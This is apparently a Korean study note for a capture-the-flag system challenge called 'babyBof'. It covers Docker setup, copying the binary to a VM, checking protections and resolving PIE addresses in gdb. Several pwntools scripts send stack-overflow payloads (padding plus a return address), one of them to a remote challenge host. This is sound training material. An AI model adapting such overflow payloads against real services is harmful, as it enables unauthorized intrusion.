# 시스템 문제 풀이 준비
## 문제 서버 환경(Docker) 구성하기
**1. 도커 이미지 생성**
배포된 파일에서 `build.sh` 확인
```
#!/bin/bash
docker rm -f babybof
docker rmi -f babybof
docker build -t babybof .
docker run -d --name babybof babybof tail -f /dev/null
docker rm -f babybof
```
위 내용 중, 최상단 `#!/bin/bash` 를 제외한 나머지를 전부 복사한 후
```
C:\Users\MAIN\Desktop\Challenges\babyBof 디렉터리
2025-07-23 오전 09:05 <DIR> .
2025-07-23 오전 09:05 <DIR> ..
2025-07-23 오전 09:05 14,472 babyBof
2025-07-23 오전 09:05 160 build.sh
2025-07-23 오전 09:05 181 Dockerfile
2025-07-23 오전 09:05 23 flag
2025-07-23 오전 09:05 249 Makefile
2025-07-23 오전 09:05 72 README.md
2025-07-23 오전 09:05 122 run.sh
2025-07-23 오전 09:05 <DIR> src
2025-07-23 오전 09:05 103 start.sh
8개 파일 15,382 바이트
3개 디렉터리 1,293,758,836,736 바이트 남음
```
`Dockerfile` 파일이 존재하는 위치에서 명령어 붙여넣기. **(호스트가 인터넷에 연결되어 있어야 하며, Docker Desktop 프로그램이 실행중이야 함)**
**2. 도커 이미지 실행(컨테이너 생성)**
`run.sh` 파일 확인
```
#!/bin/bash
docker rm -f babybof
docker run -d -p 3333:3333 --name babybof --restart unless-stopped --privileged babybof
```
이전 단계와 마찬가지로, `!#/bin/bash` 를 제외한 아래 내용을 전부 복사한 후
명령 프롬프트에서 실행
이 때, `-p xxxx:3333` 에 해당하는 포트가 해당 컨테이너가 열게 될 포트임.
해당 과정까지 완료된 경우 **호스트** 환경에서 해당 문제 서버가 실행되게 된다.
**3. 연결 확인**
**가상머신** 에서 실행!!
```
nc [호스트 아이피] [문제 포트]
```
프로그램의 입출력이 확인된다면 정상적으로 구성된 것.
## 문제 분석 환경 구성하기
**1. 배포된 파일 중 실행 파일을 가상머신 내부로 복사**
```
scp [파일] user@[가상머신IP]:~/Desktop
```
윈도우에서는 분석을 할 수 없기 때문!
```
C:\Users\MAIN\Desktop\Challenges\babyBof>scp babyBof user@192.168.147.138:~/Desktop
```
위와 같은 명령어를 통해 호스트의 파일을 가상머신 내부로 복사해준다.
**2. 복사된 파일 실행 확인**
```
user@user-virtual-machine:~/Desktop$ ./babyBof
bash: ./babyBof: Permission denied
```
**가상머신 내**에서, 복사된 파일 실행 시 정상적으로 실행되지 않고
위와 같이 에러가 뜬다면?
```
user@user-virtual-machine:~/Desktop$ chmod u+x babyBof
```
실행 권한이 없기 때문이므로, 실행권한 부여
**3. 분석 및 페이로드 작성**
가상 머신 내부로 문제 파일이 복사됐다면, 기존의 실습과 동일하게 수행하면 됨
**소스코드가 제공됐다면, 소스코드를 바탕으로 분석을 수행하고, 없으면 Binary ninja..**
```
gdb -q babyBof
```
와 같이 디버거를 붙여서 분석할 수도 있고,
```python=
from pwn import *
p = process("./babyBof")
print(p.recv(1024))
gdb.attach(p)
payload = b"A" * 520
payload += p64(0x00000000004011dd)
p.send(payload)
print(p.recv(1024))
pause()
```
파이썬 스크립트를 통해 페이로드 테스트를 수행할 수 있음.
이렇게 가상머신 내부의 프로그램으로 익스플로잇을 수행하다가, 플래그를 읽을 수 있으면
```python=
from pwn import *
p = remote("host_ip", 3333); # 원격지 프로그램에 연결
print(p.recv(1024))
# gdb.attach(p) // 원격지의 프로그램엔 디버거를 사용할 수 없겠죠?
payload = b"A" * 520
payload += p64(0x00000000004011dd)
p.send(payload)
print(p.recv(1024))
```
위와 같이, 페이로드 부분은 그대로 두고 연결 부분만 수정하면 됨.
```
p = process("./babyBof")
```
위 함수는 로컬 환경에서 프로그램을 실행한 후 연결하는 것이고,
```
p = remote("host_ip", 3333);
```
위 함수는 ip와 port를 통해 데이터를 주고 받게 함
## 바이너리에 걸린 보호기법 확인하는 법
```
user@user-virtual-machine:~/Desktop$ gdb -q babyBof
Reading symbols from babyBof...
(No debugging symbols found in babyBof)
gdb-peda$ checksec
CANARY : disabled # 카나리 비활성화
FORTIFY : disabled
NX : ENABLED # 스택에 실행 권한 없음
PIE : ENABLED # PIE 활성화
RELRO : FULL # FULL-RELRO
```
## 심볼이 없는데 어떻게 분석할까?
**PIE**가 걸려있지 않다면, **Binary Ninja**를 통해 주소를 확인하여 breakpoint를 생성할 수 있음.
```
b *0x40402c
```
당황하지 않고, Binary Ninja를 통해 함수 주소를 획득한 후 `x/10i 0x40402c` 와 같은 명령어를 통해 Disassemble 하며 분석 수행
## PIE가 걸려진 프로그램은 어떻게 분석?
PIE는 프로그램의 **베이스 주소**가 랜덤하게 배치되는 메모리 보호기법!
**실행 이후 베이스 주소가 결정**되게 됨.
그러므로, 일단 실행
```
user@user-virtual-machine:~/Desktop$ gdb -q babyBof
Reading symbols from babyBof...
(No debugging symbols found in babyBof)
gdb-peda$ r
Starting program: /home/user/Desktop/babyBof
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter >
```
디버거를 통해 프로그램이 실행된 상태에서 `Ctrl-C`
인터럽트를 통해 프로세스가 멈추면, `vmmap` 명령어 실행
```
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555555000 r--p /home/user/Desktop/babyBof
0x0000555555555000 0x0000555555556000 r-xp /home/user/Desktop/babyBof
0x0000555555556000 0x0000555555557000 r--p /home/user/Desktop/babyBof
0x0000555555557000 0x0000555555558000 r--p /home/user/Desktop/babyBof
0x0000555555558000 0x0000555555559000 rw-p /home/user/Desktop/babyBof
...
```
**0x0000555555554000** 이 해당 프로그램의 **베이스 주소**가 된다.
Binary ninja는 기본 프로그램 베이스로 **0x400000** 을 사용하기 때문에,
```
00401336 ssize_t sub_401336()
00401336 {
00401336 int64_t var_58;
00401342 __builtin_memset(&var_58, 0, 0x40);
004013af read(open("./flag", 0), &var_58, 0x40);
004013cc return write(1, &var_58, 0x40);
00401336 }
```
Binary ninja에서 위와 같은 함수를 봤을 경우,
`0x401336 - 0x400000 = 0x1336` 이 해당 함수의 오프셋이 됨
그럼 현재 실행중인 프로세스에서,
`0x0000555555554000 + 0x1336 = 0x0000555555555336`이 실제 함수 주소임
```
x/10i 0x0000555555555336
```
```
b *0x0000555555555336
```
와 같이 접근할 수 있음.
**전역 변수**도 동일
사실.. Binary Ninja가 기본 베이스로 **0x400000**을 사용하는 것과 같이
gdb는 **0x0000555555554000**을 기본 베이스로 사용해서,
디버거를 통해 프로그램이 실행될 경우에는 주소가 사실상 고정
```
from pwn import *
p = remote('v1.melango.me', 9877)
#p = process("./sample"
p.recv(1024)
payload = b''
payload += b'A' * 0xa8
payload += p64(0x401303)
p.send(payload)
p.interactive()
```